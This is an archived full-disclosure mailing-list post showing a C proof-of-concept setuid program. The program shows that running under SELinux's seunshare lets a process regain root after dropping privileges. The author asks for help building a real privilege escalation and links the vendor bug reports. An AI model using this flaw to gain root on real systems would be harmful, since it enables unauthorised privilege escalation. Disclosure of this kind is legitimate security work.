[prev in list] [next in list] [prev in thread] [next in thread] 

List:       full-disclosure
Subject:    [FD] Request for help exploiting seunshare
From:       Andrew Lutomirski <luto () mit ! edu>
Date:       2014-04-23 22:08:09
Message-ID: CAObL_7GKAByS9==XY0Ctk-acYZr5RTPT9K5BYos7-OmjjoCQ=Q () mail ! gmail ! com
[Download RAW message or body]

Here's an "obviously secure" setuid root program:

#include <sys/types.h>
#include <unistd.h>
#include <stdio.h>
#include <err.h>

int main()
{
  if (setuid(getuid()) != 0)
    err(1, "setuid(getuid())");

  printf("Dropped privs; real uid is %lu and effective uid is %lu\n",
     (unsigned long)getuid(), (unsigned long)geteuid());

  seteuid(0);

  /* Do something that risks executing untrusted code here */

  if (geteuid() == 0) {
    printf("It's baaaack!\n");
  } else {
    printf("Phew, safe.\n");
  }

  return 0;
}

Install it setuid root and run it.  It prints:

$ ./sesploit
Dropped privs; real uid is 1000 and effective uid is 1000
Phew, safe.

Now try this:

$ seunshare -t . `realpath ./sesploit`
Dropped privs; real uid is 1000 and effective uid is 1000
It's baaaack!

IMO this is bad.  I'm looking for help finding a real privilege
escalation based on it.

The underlying issue has been public for well over a year with no real
action, and there's even a patch:

https://bugzilla.redhat.com/show_bug.cgi?id=885288
https://bugzilla.redhat.com/show_bug.cgi?id=1035427

--Andy

_______________________________________________
Sent through the Full Disclosure mailing list
http://nmap.org/mailman/listinfo/fulldisclosure
Web Archives & RSS: http://seclists.org/fulldisclosure/
[prev in list] [next in list] [prev in thread] [next in thread]